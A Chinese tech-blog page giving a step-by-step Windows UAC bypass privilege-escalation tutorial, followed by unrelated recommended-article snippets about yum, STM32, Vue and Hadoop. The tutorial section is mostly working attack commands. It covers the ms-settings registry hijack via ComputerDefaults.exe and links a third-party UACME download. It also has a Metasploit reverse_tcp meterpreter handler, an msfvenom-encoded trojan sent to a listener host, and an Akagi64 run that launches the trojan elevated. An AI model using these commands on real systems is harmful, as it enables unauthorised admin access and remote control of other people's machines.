UAC绕过提权_uac白名单 提权-程序员宅基地
UAC白名单
即不询问直接启动的应用，如 slui.exe、wusa.exe、taskmgr.exe、msra.exe、 eudcedit.exe、eventvwr.exe.、CompMgmtLauncher.exe、 rundll32.exe、 explorer.exe等
白名单程序特性：Manifest 数据中 autoElevate 属性的值为 True；可以用Sigcheck检测。
UAC绕过
以ComputerDefaults.exe为例
sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe
找出所有具有autoElevate 属性的程序并定向输出到
strings.exe /accepteula -s C:\Windows\System32\*.exe | findstr /i "autoElevate" > 1.txt
以ComputerDefaults.exe为例
sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe使用进程监控器 process monitor 监控 ComputerDefaults.exe 进程的所有操作行为
添加注册表
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\windows\system32\cmd.exe" /freg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
工具
官网地址（下载慢）
国内地址（下载快）
https://download.csdn.net/download/m0_65554829/88547642
利用UACME提权
gethub地址：https://github.com/hfiref0x/UACME/releases/tag/v3.6.5
私人地址：直接下载链接https://dl-download.csdn.net/down11/20231117/f8e7781624a66d6da9f3aa87a9831e28.zip?Expires=1700230423&OSSAccessKeyId=STS.NTSjB9EvV4Wkv8XYapjniF2VB&Signature=jZr3NJnxc%2FyHFi9opG%2BI3ieHy4s%3D&response-content-disposition=attachment%3Bfilename%3D%22UACME-3.6.3%2520%25E5%25B7%25B2%25E7%25BC%2596%25E8%25AF%2591.zip%22&Date=1700230423&security-token=CAISgwJ1q6Ft5B2yfSjIr5fmIfiNqKl3g5WAdB7pvWElZuFFqff9oDz2IHxFf3FoCOEYv%2Fk1nWlU6%2FoTlqF%2FTIBDQUvNYZPPSiHRJFrzDbDasumZsJYw6vT8a1fxZjf%2F2MjNGaCbKPrWZvaqbX3diyZ32sGUXD6%2BXlujQ%2BDr6Zl8dYY4UxX6D1tBH8wEAgp5tI1gQhm3D%2Fu2NQPwiWf9FVdhvhEG6Vly8qOi2MaRmHG85R%2FYsrZJ%2FtuvecD%2FMJI3Z8kvC4uPsbYoJvab4kl58ANX8ap6tqtA9Arcs8uVa1sruEnXaLKMo4wxfVIjP%2FFmRvIVtprnieY9tuiWkJ%2Fs25qImF%2BBkY61GoABrSvSxqN%2BO2SKDSI3ekkKA1i9Da7Vb8LjUDMiDPrdLALwtIOSkNTZC0QoVf4%2B7g3mqTCNTJX%2BsdEFlZDDzBnZJwnYu4g4ITkhSgknKJexR0n6GcNjC6mme3257nISthAe2YDb4JJQcHsc5y5Xb0f8KwDe2l5lkhmhQk2JhT6g2AQgAA%3D%3D
工具介绍
UACME是一个专用于绕过Windows UAC的开源项目，目前已包含了70多种Bypass UAC的方法。
步骤
环境搭建
net user test1 /add
net localgroup administrators test1 /add
钓鱼绕过提权
#将MSF生成的payload.exe上传到目标服务器并运行payload.exe
msfconsole
#在msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.129
set lport 8888
rungetuid
shell
chcp 65001
net user test1
#尝试添加用户#失败
net user test2 /add
upload ~/upgrade/UACME-3.6.3 c:/phpstudy_pro/WWW/pikachu/vul/rce/uac
#生成一个新木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.150.129 lport=7777 -i 3 -e x86/shikata_ga_nai -f exe -o 7777.exe
#上传木马
upload ~/7777.exe ./
upload ~/upgrade/Akagi64.exe ./
#进入shell
shell
chcp 65001
#另开一个终端设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.129
set lport 7777
run#运行木马
.\Akagi64.exe 33 .\7777.exe
akagi.exe [Key] [Param]#Key ，指定要使用的方法的编号#Param ，指定绕过 UAC 后要运行的程序或命令，默认启动一个关闭了 UAC 的 CMD 窗口
智能推荐
yum安装及配置_安装yum-程序员宅基地
文章浏览阅读10w+次，点赞40次，收藏332次。yum是用来管理rpm的，就跟maven管理jar包相似。yum源（库）分为本地库、网络库。首先要配置yum源，可支持多个源。先查看一下挂载情况：df -h这里我们要更换光盘，并挂载：mount /dev/cdrom /mnt（如果不能成功挂载，点击一下连接即可）之后再次使用 df -h命令，就能查看到光盘的内容。下面我们cd到 /mnt下查看一下：首先关注一下Pa..._安装yum
关于STM32 CAN的过滤器/滤波器_stm32can mailbox filter-程序员宅基地
文章浏览阅读3.8k次，点赞5次，收藏12次。1.在设置CanTxMsg.StdId时注意需要将其右移一位，比如如下滤波器配置：CAN_FilterInitStructure.CAN_FilterNumber=0;CAN_FilterInitStructure.CAN_FilterMode=CAN_FilterMode_IdMask;CAN_FilterInitStructure.CAN_FilterScale=CAN_Filter..._stm32can mailbox filter
HDU 5119 Happy Matt Friends（动态规划）【状压基础类模板】_matt has n friends. they are playing a game togeth-程序员宅基地
文章浏览阅读373次。att has N friends. They are playing a game together. Each of Matt’s friends has a magic number. In the game, Matt selects some (could be zero) of his friends. If the xor (exclusive-or) sum of the selected friends’magic numbers is no less than M , Matt wi_matt has n friends. they are playing a game together.
vue3+vite+ts项目配置开发环境和生产环境 打包命令配置_vite打包配置-程序员宅基地
文章浏览阅读8.4k次，点赞6次，收藏29次。开发环境和生产环境的配置和打包方式有所不同，下面是基于vue3+vite+ts项目的开发环境和生产环境配置及打包方式的详细说明。打包完成后会在项目根目录下生成dist目录，里面包含了打包后的静态文件和index.html文件，可以直接部署到服务器上。这里配置了三个命令，分别是开发环境启动命令、开发环境打包命令和生产环境打包命令。1.3 配置.env.development。2.2 配置.env.production。1.2 配置vite.config.ts。2.1 配置vite.config.ts。_vite打包配置
（最新最详细）安装ubuntu18.04-程序员宅基地
文章浏览阅读2w次，点赞4次，收藏91次。目录1. window10中下载ubuntu镜像2. 制作U盘启动盘3. Ubuntu 分配硬盘空间1. window10中下载ubuntu镜像下载地址2. 制作U盘启动盘安装制作工具：UltraISO（点我下载），下载完成后安装插入用来做启动盘的U盘（最好是usb3.0接口，16GB或以上），并清空里面的文件打开安装好的UltraISO，点击继续试用按钮工作界面进入工作界面后，点击菜单栏文件(F)，在弹出的选项卡里点击打开在弹出的文件选择对话框中找到下载好的 Ubuntu18.04._ubuntu18.04
Toad报“No valid Oracle Client found”错-程序员宅基地
文章浏览阅读203次。2019独角兽企业重金招聘Python工程师标准>>> ..._toad no valid oracle client
随便推点
Ik分词器配置远程扩展字典_ik analyzer 扩展词典配置远程词典 可实时编辑-程序员宅基地
文章浏览阅读2k次。通过配置远程扩展词典，可以读取远程词典，当改变远程词典时，不必重启服务器，elasticsearch会自动加载并进行分词。步骤：配置文件服务器，把远程扩展词典放到服务器下。修改elasticsearch目录下plugins\ik\config\IKAnalyzer.cfg.xml文件并保存，如下： <properties> <comment>IK A..._ik analyzer 扩展词典配置远程词典 可实时编辑
分布式系列教程（11） -分布式协调工具Zookeeper（分布式锁实现）_分布式锁 的具体实现工具-程序员宅基地
文章浏览阅读553次，点赞2次，收藏2次。代码已提交至Github，有兴趣的同学可以下载来看看（git版本号：bea4d6f7ec9f7309033bcfa43316a660171ae5b6）:https://github.com/ylw-github/Zookeeper-Demo本文目录结构：l____1. 知识点回顾l________1.1 多线程l________1.2 Java共享内存模型l____2. 分布式锁的解决方..._分布式锁 的具体实现工具
Nginx网站服务详解（Nginx服务的主配置文件 ——nginx.conf）-程序员宅基地
文章浏览阅读9.3k次，点赞9次，收藏51次。Nginx网站服务详解，Nginx服务的主配置文件，修改，监听，配置，密码认证，以及IP和端口虚拟主机配置方法，含图文步骤拆解讲解_nginx.conf
Java并发——Synchronized关键字和锁升级，详细分析偏向锁和轻量级锁的升级_3.轻量级锁-程序员宅基地
文章浏览阅读10w+次，点赞266次，收藏1.1k次。目录一、Synchronized使用场景二、Synchronized实现原理三、锁的优化1、锁升级2、锁粗化3、锁消除一、Synchronized使用场景Synchronized是一个同步关键字，在某些多线程场景下，如果不进行同步会导致数据不安全，而Synchronized关键字就是用于代码同步。什么情况下会数据不安全呢，要满足两个条件：一是数据共享（临界资源），二..._3.轻量级锁
排序算法-堆积树排序法（HeapSort）-程序员宅基地
文章浏览阅读731次。堆积树排序法是选择排序法的改进版，可以减少在选择排序法中的比较次数，进而减少排序时间。堆积排序法用到了二叉树的技巧，是利用堆积树来完成排序的。堆积树是一种特殊的二叉树，可分为最大堆积树和最小堆积树两种。
Hadoop调优第一篇_hadoop_namenode_opts-程序员宅基地
文章浏览阅读917次。1.hdfs核心参数——回收站设置第一步，在调优前我们需要对namenode与datanode的内存配置进行参数化设置。通过hadoop-env.sh查看namenode与datdanode的具体参数。相关参数设置如下export HDFS_NAMENODE_OPTS=”-Dhadoop.security.logger=INFO,RFAS -Xmx1024m”export HDFS_DATANODE_OPTS=”-Dhadoop.security.logger=ERROR,RFAS -Xmx10_hadoop_namenode_opts